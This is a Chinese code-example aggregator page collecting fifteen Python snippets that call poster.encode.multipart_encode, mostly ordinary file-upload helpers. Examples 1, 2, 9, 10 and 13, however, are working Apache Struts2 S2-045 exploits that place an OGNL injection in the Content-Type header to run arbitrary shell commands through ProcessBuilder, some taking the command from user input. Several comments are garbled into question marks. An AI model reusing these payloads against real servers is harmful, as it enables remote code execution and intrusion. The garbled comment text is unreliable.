当前位置: 首页>>代码示例>>Python>>正文


Python encode.multipart_encode方法代码示例

本文整理汇总了Python中poster.encode.multipart_encode方法的典型用法代码示例。如果您正苦于以下问题:Python encode.multipart_encode方法的具体用法?Python encode.multipart_encode怎么用?Python encode.multipart_encode使用的例子?那么, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在poster.encode的用法示例。


在下文中一共展示了encode.multipart_encode方法的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的Python代码示例。

示例1: payload

# 需要导入模块: from poster import encode [as 别名]
# 或者: from poster.encode import multipart_encode [as 别名]
def payload(self):
        url = self.option.target['default']
        register_openers()
        datagen, header = multipart_encode({"image1": '23333'})
        header[
            "User-Agent"] = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
        header[
            "Content-Type"] = "%{(#mosin='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).\
            (#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).\
            (#ognlUtil=#container.getInstance(@[email protected])).(#ognlUtil.getExcludedPackageNames().\
            clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='echo mosin').\
            (#iswin=(@[email protected]('os.name').toLowerCase().contains('win'))).\
            (#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).\
            (#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@[email protected]().\
            getOutputStream())).(@[email protected](#process.getInputStream(),#ros)).(#ros.flush())}"
        request = urllib2.Request(url, datagen, headers=header)
        response = urllib2.urlopen(request).read()
        if "mosin" in response:
            self.result.status = True
            print self.result.description
        else:
            print self.result.error 
开发者ID:hucmosin,项目名称:purelove,代码行数:24,代码来源:s2-045.py

示例2: exploit

# 需要导入模块: from poster import encode [as 别名]
# 或者: from poster.encode import multipart_encode [as 别名]
def exploit(self):
        url = self.option.target['default']
        cmd = self.option.cmd['default']
        register_openers()
        datagen, header = multipart_encode({"image1": '23333'})
        header[
            "User-Agent"] = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
        header[
            "Content-Type"] = "%{(#mosin='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@[email protected])).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='" + cmd + "').(#iswin=(@[email protected]('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@[email protected]().getOutputStream())).(@[email protected](#process.getInputStream(),#ros)).(#ros.flush())}"
        request = urllib2.Request(w_url, datagen, headers=header)
        response = urllib2.urlopen(request).read()
        self.result.exp_status = True
        print(response)


#??????????????? 
开发者ID:hucmosin,项目名称:purelove,代码行数:18,代码来源:s2-045.py

示例3: upload

# 需要导入模块: from poster import encode [as 别名]
# 或者: from poster.encode import multipart_encode [as 别名]
def upload(basedir, upload_code):
    for wkld_dir in sorted(glob.glob(os.path.join(basedir, '*'))):
        print wkld_dir
        sample_idx = 0
        while True:
            samples = glob.glob(os.path.join(wkld_dir, 'sample-{}__*').format(sample_idx))
            if len(samples) == 0:
                break
            assert len(samples) == 4
            basename = samples[0].split('__')[0]
            params = {
                'summary': open(basename + '__summary.json', "r"),
                'knobs': open(basename + '__knobs.json',"r"),
                'metrics_before':open(basename + '__metrics_start.json','r'),
                'metrics_after':open(basename + '__metrics_end.json','r'),
                'upload_code':  upload_code,
            }

            datagen, headers = multipart_encode(params)
            request = urllib2.Request("http://0.0.0.0:8000/new_result/", datagen, headers)
            print urllib2.urlopen(request).read()
            sample_idx += 1 
开发者ID:cmu-db,项目名称:ottertune,代码行数:24,代码来源:upload_data.py

示例4: upload

# 需要导入模块: from poster import encode [as 别名]
# 或者: from poster.encode import multipart_encode [as 别名]
def upload(self, basepath, cluster_name):
        exts = list(self.REQ_EXTS)
        if os.path.exists(basepath + self.RAW_EXT):
            exts.append(self.RAW_EXT)
        fhandlers = {ext: open(basepath + ext, 'r') for ext in exts}
        params = {
            'upload_code': self.upload_code_,
            'cluster_name': cluster_name,
            'summary_data': fhandlers[self.SUMMARY_EXT],
            'db_metrics_data': fhandlers[self.METRICS_EXT],
            'db_parameters_data': fhandlers[self.PARAMS_EXT],
            'sample_data': fhandlers[self.SAMPLES_EXT],
            'benchmark_conf_data': fhandlers[self.EXPCFG_EXT],
        }

        if self.RAW_EXT in fhandlers:
            params['raw_data'] = fhandlers[self.RAW_EXT]

        datagen, headers = multipart_encode(params)
        request = urllib2.Request(self.upload_url_, datagen, headers)
        print urllib2.urlopen(request).read()

        for fh in fhandlers.values():
            fh.close() 
开发者ID:cmu-db,项目名称:ottertune,代码行数:26,代码来源:upload_batch.py

示例5: post_file

# 需要导入模块: from poster import encode [as 别名]
# 或者: from poster.encode import multipart_encode [as 别名]
def post_file(self,url,filename,dict_obj={},headers={}):
		from poster.encode import multipart_encode
		from poster.streaminghttp import register_openers

		self.method = 'POST'
		register_openers()

		data = {'file':open(filename,'rb')}
		if dict_obj:
			data.update( dict_obj )

		datagen, _headers = multipart_encode( data )
		if headers:
			_headers.update( headers )

		request = urllib2.Request(url, datagen, _headers)
		response = urllib2.urlopen(request)
		return response 
开发者ID:adoggie,项目名称:django-learning,代码行数:20,代码来源:request.py

示例6: upload

# 需要导入模块: from poster import encode [as 别名]
# 或者: from poster.encode import multipart_encode [as 别名]
def upload(upload_code, datadir):
    params = {
        'summary': open(os.path.join(datadir, 'sample-0__summary.json'), "r"),
        'knobs': open(os.path.join(datadir, 'sample-0__knobs.json'),"r"),
        'metrics_start':open(os.path.join(datadir, 'sample-0__metrics_start.json'),'r'),
        'metrics_end':open(os.path.join(datadir, 'sample-0__metrics_end.json'),'r'),
        'upload_code':  upload_code,
    }
    
    datagen, headers = multipart_encode(params)
    
    request = urllib2.Request("http://0.0.0.0:8000/new_result/", datagen, headers)

    print urllib2.urlopen(request).read() 
开发者ID:cmu-db,项目名称:ottertune,代码行数:16,代码来源:upload.py

示例7: upload

# 需要导入模块: from poster import encode [as 别名]
# 或者: from poster.encode import multipart_encode [as 别名]
def upload(self, url, **file_form):
        # ????????open?????with????????
        register_openers()
        datagen, headers = multipart_encode(file_form)
        request = urllib2.Request(url, datagen, headers)
        result = json.loads(urllib2.urlopen(request).read())
        errcode = result.get("errcode")
        if errcode and str(errcode) != "0":
            self.err_handler.dispatch_error(errcode)
        return result 
开发者ID:zgliujiangang,项目名称:wechat,代码行数:12,代码来源:base.py

示例8: post_file

# 需要导入模块: from poster import encode [as 别名]
# 或者: from poster.encode import multipart_encode [as 别名]
def post_file(filename, url, media='media'):
    '''????'''
    register_openers()
    datagen, headers = multipart_encode({media: open(filename, "rb")})
    request = urllib2.Request(url, datagen, headers)
    return urllib2.urlopen(request).read() 
开发者ID:JingRanCor,项目名称:python-django-wechat,代码行数:8,代码来源:image_handler.py

示例9: exploit

# 需要导入模块: from poster import encode [as 别名]
# 或者: from poster.encode import multipart_encode [as 别名]
def exploit(target):
    url = target
    #print "??URl " + str(url)
    register_openers()
    id = str(uuid.uuid1())
    cmd = "echo " + id
    datagen, header = multipart_encode({"image1": "ipconfig"})
    header["User-Agent"]="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
    header["Content-Type"]='''%{(#nike='multipart/form-data').
    (#[email protected]@DEFAULT_MEMBER_ACCESS).
    (#_memberAccess?(#_memberAccess=#dm):
    ((#container=#context['com.opensymphony.xwork2.ActionContext.container']).
    (#ognlUtil=#container.getInstance(@[email protected])).
    (#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).
    (#context.setMemberAccess(#dm)))).(#cmd='''+cmd+''').
    (#iswin=(@[email protected]('os.name').toLowerCase().contains('win'))).
    (#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).
    (#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).
    (#process=#p.start()).(#ros=(@[email protected]().
    getOutputStream())).(@[email protected](#process.getInputStream(),#ros)).
    (#ros.flush())}'''
    try:
        request = urllib2.Request(url,datagen,headers=header)
        response = urllib2.urlopen(request)
        html = response.read()
        if id in response.read():
            return True,id
        else:
            return False,None
    except:
        print "????"
        pass 
开发者ID:zhangzhenfeng,项目名称:AnyScan,代码行数:34,代码来源:S2-045.py

示例10: poc

# 需要导入模块: from poster import encode [as 别名]
# 或者: from poster.encode import multipart_encode [as 别名]
def poc():
    register_openers()
    cmd = "whoami"
    datagen, header = multipart_encode({"image1": ''})
    header["User-Agent"]="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
    header["Content-Type"]="%{(#nike='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@[email protected])).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='"+cmd+"').(#iswin=(@[email protected]('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@[email protected]().getOutputStream())).(@[email protected](#process.getInputStream(),#ros)).(#ros.flush())}"
    request = urllib2.Request("http://192.168.1.128:8080/Struts2FileUpload/doUpload.action",datagen,headers=header)
    response = urllib2.urlopen(request)
    html = response.read()
    try:
        html = html.decode("gbk").encode("utf-8")
    except:
        pass
    print html 
开发者ID:zhangzhenfeng,项目名称:AnyScan,代码行数:16,代码来源:A.py

示例11: create_tmp_media

# 需要导入模块: from poster import encode [as 别名]
# 或者: from poster.encode import multipart_encode [as 别名]
def create_tmp_media(type,file_path):
    token = getAccToken()
    register_openers()
    datagen, headers = multipart_encode({"media": open(file_path, "rb")})
    api = 'https://qyapi.weixin.qq.com/cgi-bin/media/upload?access_token=%s&type=%s' % (token,type)
    req=urllib2.urlopen(api, datagen, headers)
    result = json.loads(req.read())
    return result['media_id'] 
开发者ID:tonghou23,项目名称:weixincrop,代码行数:10,代码来源:media.py

示例12: create_longtime_media

# 需要导入模块: from poster import encode [as 别名]
# 或者: from poster.encode import multipart_encode [as 别名]
def create_longtime_media(type,file_path):
    token = getAccToken()
    register_openers()
    datagen, headers = multipart_encode({"media": open(file_path, "rb")})
    api = 'https://qyapi.weixin.qq.com/cgi-bin/material/add_material?agentid=%s&type=%s&access_token=%s' % (WEIXIN_APPID,type,token)
    req=urllib2.urlopen(api, datagen, headers)
    result = json.loads(req.read())
    return result['media_id'] 
开发者ID:tonghou23,项目名称:weixincrop,代码行数:10,代码来源:media.py

示例13: poc

# 需要导入模块: from poster import encode [as 别名]
# 或者: from poster.encode import multipart_encode [as 别名]
def poc():
    cmd = raw_input('cmd=')
    register_openers()
    datagen,header = multipart_encode({"image1": open("tmp.txt", "rb")})
    header["User-Agent"]="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
    header["Content-Type"]="%{(#nike='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@[email protected])).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='" + cmd + "').(#iswin=(@[email protected]('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@[email protected]().getOutputStream())).(@[email protected](#process.getInputStream(),#ros)).(#ros.flush())}"
    request = urllib2.Request(str(sys.argv[1]),datagen,headers=header)
    response = urllib2.urlopen(request)
    print response.read() 
开发者ID:jas502n,项目名称:S2-045-EXP-POC-TOOLS,代码行数:11,代码来源:poc_test.py

示例14: doUploadFileProgress

# 需要导入模块: from poster import encode [as 别名]
# 或者: from poster.encode import multipart_encode [as 别名]
def doUploadFileProgress(self,filePath, url):
        startTime = getNow()
        result = False
        try:
            widgets = ['Progress: ', Percentage(), ' ', Bar(
                marker=RotatingMarker('>-=')), ' ', ETA(), ' ', FileTransferSpeed()]
            pbar = ProgressBar(widgets=widgets, maxval=os.path.getsize(filePath)).start()
            progress = Progress()
            fileSizeStr = formatSize(os.path.getsize(filePath))
            logger.info("??????{0} ?? {1}".format(filePath,fileSizeStr))
            stream = file_with_callback(filePath, 'rb', progress.update,os.path.basename(filePath),pbar)
            params = {"filedata": stream}
            datagen, headers = multipart_encode(params)
            upload_request =urllib2.Request(url, datagen, headers)
            response = urllib2.urlopen(upload_request).read()
            endTime = getNow()
            totlaTime = caltime(startTime, endTime)
            logger.info("??????{0} ????{1} ????{2} ????{3} ??{4} ????{5}"
                        .format(filePath,startTime, endTime, fileSizeStr, totlaTime,response))
            #???????????'4b ? 0'???json ??errmsg("Extra data", s, end, len(s) ??????,??????????
            if "code\":0" in response.replace(' ', ''):
                result = True
            else:
                result = json.loads(response)["code"] == 0
        except Exception as e:
            logger.error("??????{0} exception: {1}".format(filePath,e))
        return result 
开发者ID:jiangchao0304,项目名称:LetvCloud,代码行数:29,代码来源:letvcloudv1.py

示例15: doUploadFile

# 需要导入模块: from poster import encode [as 别名]
# 或者: from poster.encode import multipart_encode [as 别名]
def doUploadFile(self, filePath, url):
        startTime = getNow()
        logger.info("??????{0}".format(filePath))
        result = False
        fileSize = formatSize(os.path.getsize(filePath))
        fileData = open(filePath, 'rb')
        params = {"filedata": fileData}
        try:
            datagen, headers = multipart_encode(params)
            request = urllib2.Request(url, datagen, headers)
            response = urllib2.urlopen(request).read()
            endTime = getNow()
            totlaTime = caltime(startTime,endTime)
            logger.info("??????{0} ????{1} ????{2} ????{3} ????{4} ??{5}"
                        .format(filePath,response,startTime,endTime,fileSize,totlaTime))
            jsonData = json.loads(response)
            result = jsonData["code"]==0
        except Exception as e:
            logger.error("??????{0}".format(filePath))
            return result
        finally:
            fileData.close()
        return result





        """
		????????????????????????? ????
        ?????????????????????0
		""" 
开发者ID:jiangchao0304,项目名称:LetvCloud,代码行数:34,代码来源:letvcloudv1.py


注:本文中的poster.encode.multipart_encode方法示例由纯净天空整理自Github/MSDocs等开源代码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。